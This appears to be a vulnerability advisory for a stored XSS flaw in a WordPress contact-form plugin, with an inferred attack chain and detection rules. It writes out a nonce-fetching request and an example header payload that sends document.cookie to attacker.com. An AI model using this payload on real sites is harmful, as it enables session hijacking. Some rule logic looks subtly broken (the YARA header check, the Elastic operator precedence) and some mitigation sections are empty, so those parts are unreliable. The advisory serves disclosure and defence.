CVE-2026-83625

Executive Summary

CVE-2026-83625 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Contact Form by Supsystic WordPress plugin, affecting all versions up to and including 1.10.2. The flaw resides in the plugin's insufficient sanitization of IP Address headers, which allows unauthenticated attackers to inject arbitrary web scripts into pages that execute when any user accesses the injected content. Exploitation leverages a two-step process: retrieving a valid nonce via the unauthenticated updateNonce action, followed by form submission containing a malicious payload in a spoofed X-Forwarded-For header.

The vulnerability carries a CVSS score of 7.2 (High) with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N. The attack requires no authentication and no user interaction, and it has a changed security scope, meaning the compromise of the vulnerable plugin can impact resources beyond its original security boundary. No patch is currently available (patch confidence: 0/4), and no public PoC or in-the-wild exploitation has been documented at the time of reporting.

Technical Analysis

The Contact Form by Supsystic plugin versions through 1.10.2 are susceptible to a stored cross-site scripting vulnerability triggered through the IP Address Header field. The root cause is twofold: insufficient input sanitization and insufficient output escaping of IP address data.

Vulnerability Mechanism

The plugin captures the client's IP address — often used for spam filtering, submission logging, or form data analytics — by reading header values such as X-Forwarded-For. Rather than strictly validating that the header content conforms to a valid IPv4/IPv6 address format, the plugin processes the header value as-is during form submission storage. When this stored value is later rendered to an administrator, site operator, or other user-viewing form entries, the malicious payload executes in the victim's browser context.

The second component of this vulnerability is the plugin's failure to secure the updateNonce AJAX action. This action is registered without authentication checks, meaning it is not included in the plugin's permission list (capability map). As a result, any unauthenticated visitor can make an AJAX request to admin-ajax.php (or equivalent) invoking updateNonce, which returns a valid nonce token without requiring login credentials.

Attack Surface

• Attack Vector: Network (remote exploitation)
• Attack Complexity: Low (no special conditions or race conditions required)
• Privileges Required: None (unauthenticated)
• User Interaction: None required (stored XSS fires automatically when page is accessed)

The attack surface includes any WordPress deployment running the Contact Form by Supsystic plugin ≤ 1.10.2 that renders a contact form viewable by the public.

Technical Details

The nonce is a one-time token WordPress uses to verify the authenticity of requests. In a normal workflow, WordPress generates a nonce for logged-in users when rendering the contact form. The plugin developers attempting to simplify form handling exposed the updateNonce action to all users, allowing attackers to obtain a valid, fresh nonce without authentication. The attacker then crafts a standard contact form submission request that includes both the valid nonce and an X-Forwarded-For header containing the XSS payload:

X-Forwarded-For: <script>payload</script>

Because the plugin does not sanitize or validate the IP header input, the payload is stored as a submission record. When the form admin reviews submissions in the WordPress backend, or when the data is dynamically rendered on any page, the payload executes.

Exploitation Scenarios

There is no public PoC or exploit code available; the attack chain below is inferred from the NVD description and vulnerability class (CWE-79 Stored XSS).

Step 1: Reconnaissance / Target Identification

An attacker identifies WordPress sites using the Contact Form by Supsystic plugin. This can be performed via:

• Enumeration of the plugin directory (e.g., requesting .../wp-content/plugins/contact-form-by-supsystic/readme.txt) to fingerprint the version.
• Google dorking or Shodan queries for sites with contact form endpoints.

Step 2: Nonce Retrieval

The attacker sends an unauthenticated request to the WordPress AJAX handler to invoke the updateNonce action. Because this action is absent from the plugin's permission list (no capability check), the server responds with a valid JSON containing a nonce token. This step does not require a logged-in session or cookies.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=updateNonce

Step 3: Payload Injection via Spoofed IP Header

The attacker then crafts a contact form submission request using the nonce obtained in Step 2. Crucially, the request includes a spoofed IP header — typically X-Forwarded-For — containing the malicious JavaScript. The payload may take forms such as:

<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

or an obfuscated variant designed to evade pattern-based filtering.

Step 4: Post-Exploitation

When any user (site admin, editor, or visitor) accesses a page that renders these form submissions, the stored script executes:

• Session hijacking: Stealing WordPress admin session cookies.
• Credential theft: Injecting a phishing overlay requesting re-authentication.
• Persistence: Creating a new rogue admin user via AJAX to the WordPress REST API.
• Site defacement: Modifying the DOM to alter page content.
• Malware distribution: Redirecting visitors to malicious domains.

Because scope is changed (S:C), the injected script can interact with other applications or APIs on the same origin, widening the blast radius.

Impact Assessment

Business Impact

Affected Systems

All WordPress installations running Contact Form by Supsystic ≤ 1.10.2. The affected versions list is currently empty in the CVE data, but the description explicitly states "all versions up to, and including, 1.10.2."

Blast Radius

The unauthenticated nature of this attack means any public-facing site with the plugin active is at risk. The stored XSS payload persists in the database until manually removed, meaning infected submissions continue to trigger malicious executions indefinitely across all users who access the affected page.

Detection Guidance

Sigma Rule

title: Contact Form by Supsystic - Stored XSS via IP Header
id: 2c5f4a31-9d1c-4e5a-8f3b-7d0c2a6b4e88
status: experimental
description: Detects suspicious HTTP requests targeting WordPress admin-ajax.php with the updateNonce action, followed by contact form submission with XSS payloads in spoofed IP headers.
logsource:
  category: webserver
  product: apache
  definition: Web server access logs for WordPress sites running the Contact Form by Supsystic plugin.
detection:
  selection_nonce:
    cs-method: 'POST'
    cs-uri-query|contains: 'action=updateNonce'
  selection_xss_payload:
    cs-uri-query|contains:
      - '<script'
      - 'javascript:'
      - 'onerror='
      - 'onload='
    cs-headers|contains:
      - 'X-Forwarded-For: *<'
  condition: selection_nonce or selection_xss_payload
  timeframe: 5m
falsepositives:
  - Legitimate contact form submissions (extremely rare for script tags in IP headers)
  - Security scanners testing for the vulnerability
level: high

YARA Rule

rule ContactForm_Supsystic_XSS_IPHeader
{
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects web traffic/malicious payloads targeting CVE-2026-83625 - Contact Form by Supsystic Stored XSS via IP header"
        cve = "CVE-2026-83625"
        date = "2026-01-01"
        score = 80
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-83625"
    strings:
        $nonce_action = "action=updateNonce"
        $ajax_endpoint = "admin-ajax.php"
        $x_forwarded = "X-Forwarded-For" nocase
        $script_tag = "<script" nocase
        $payload_var = "onerror"
        $payload_var2 = "onload"
        $payload_var3 = "javascript:"
        $redirect_eval = "document.location"
        $cookie_steal = "document.cookie"
    condition:
        uint16(0) == 0x0D0A and
        ($nonce_action or $ajax_endpoint) and
        $x_forwarded and
        any of ($script_tag, $payload_var, $payload_var2, $payload_var3, $redirect_eval, $cookie_steal)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-83625 - Contact Form by Supsystic Stored XSS via IP Header Attempt";
    flow:established,to_server;
    http.method;
    content:"POST";
    http.uri;
    content:"admin-ajax.php";
    http.client_body;
    content:"action=updateNonce";
    http.header;
    content:"X-Forwarded-For";
    content:"<script";
    http.header_names;
    distance:0;
    classtype:web-application-attack;
    sid:202683625;
    rev:1;
    metadata:created_at 2026_01_01, updated_at 2026_01_01, cve CVE-2026-83625;
)

Detection Logic: The rule matches outbound HTTP POST requests that hit admin-ajax.php containing the updateNonce action parameter, with an X-Forwarded-For header containing a <script tag — indicating a nonce retrieval followed by a malicious payload delivery.

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where process.name == "httpd" or process.name == "nginx" and
   destination.port == 80 or destination.port == 443 and
   url.path == "/wp-admin/admin-ajax.php" and
   url.query contains "action=updateNonce"]

  [network where process.name == "httpd" or process.name == "nginx" and
   http.request.method == "POST" and
   url.path == "/wp-admin/admin-ajax.php" and
   http.request.headers contains "X-Forwarded-For: *<script"]

Splunk SPL Query

index=web sourcetype=access_combined
| where like(uri_path, "%admin-ajax.php%") AND like(form_data, "%updateNonce%")
| transaction src_ip maxspan=5m
| where like(form_data, "%<script%") OR like(http_headers, "%X-Forwarded-For: *<script%")
| table _time, src_ip, uri, http_user_agent, form_data
| stats count by src_ip, uri
| where count >= 2

Wazuh OSSEC Rule

<group name="wordpress,">
  <rule id="100825" level="15">
    <decoded_as>json</decoded_as>
    <field name="url">admin-ajax\.php</field>
    <field name="action">updateNonce</field>
    <description>CVE-2026-83625: Unauthenticated nonce request targeting Contact Form by Supsystic WordPress plugin</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>wp_contact_form_xss,</group>
  </rule>

  <rule id="100826" level="15">
    <decoded_as>json</decoded_as>
    <field name="http_headers">X-Forwarded-For</field>
    <regex>^.*X-Forwarded-For:\s*.*&lt;script</regex>
    <description>CVE-2026-83625: Stored XSS payload detected in IP Header for Contact Form by Supsystic</description>
    <mitre>
      <id>T1059.007</id>
      <id>T1190</id>
    </mitre>
    <group>wp_contact_form_xss,</group>
  </rule>

  <rule id="100827" level="15">
    <if_sid>100825, 100826</if_sid>
    <same_source_ip/>
    <description>CVE-2026-83625: Nonce retrieval followed by XSS payload injection - probable exploitation sequence</description>
    <group>wp_contact_form_xss,attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED.

No official patch or vendor fix is available from any tracked source for CVE-2026-83625 at this time.

1) Immediate Mitigations

2) Patch/Upgrade Steps

1. Monitor the vendor's changelog at the official Supsystic plugin page and the WordPress Plugin Directory for a version > 1.10.2.
2. On patch availability, immediately upgrade via WordPress Admin → Plugins → Update, or via wp-cli: wp plugin update contact-form-by-supsystic.
3. Test the patched version in a staging environment before production deployment.
4. Verify patch integrity by comparing checksums against the published release.

3) Long-Term Hardening

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-83625
2. WordPress Plugin Directory (Contact Form by Supsystic): https://wordpress.org/plugins/contact-form-by-supsystic/
3. CWE-79 (Cross-Site Scripting): https://cwe.mitre.org/data/definitions/79.html
4. MITRE ATT&CK — T1190 (Exploit Public-Facing Application): https://attack.mitre.org/techniques/T1190/
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Campaigns / Exploit-in-the-Wild Evidence

• None documented in any tracked threat intelligence source at the time of writing.
• The vulnerability is not listed in the CISA KEV catalog (status: NO).
• No public PoC, Nuclei template, or exploit code exists.

Note: Given the unpatched status and the low complexity of exploitation, active exploitation in the wild is considered likely in the near term, particularly by automated scanning botnets and commodity attackers that routinely target WordPress plugin vulnerabilities. Security teams should treat this CVE with high priority despite the absence of confirmed in-the-wild reports.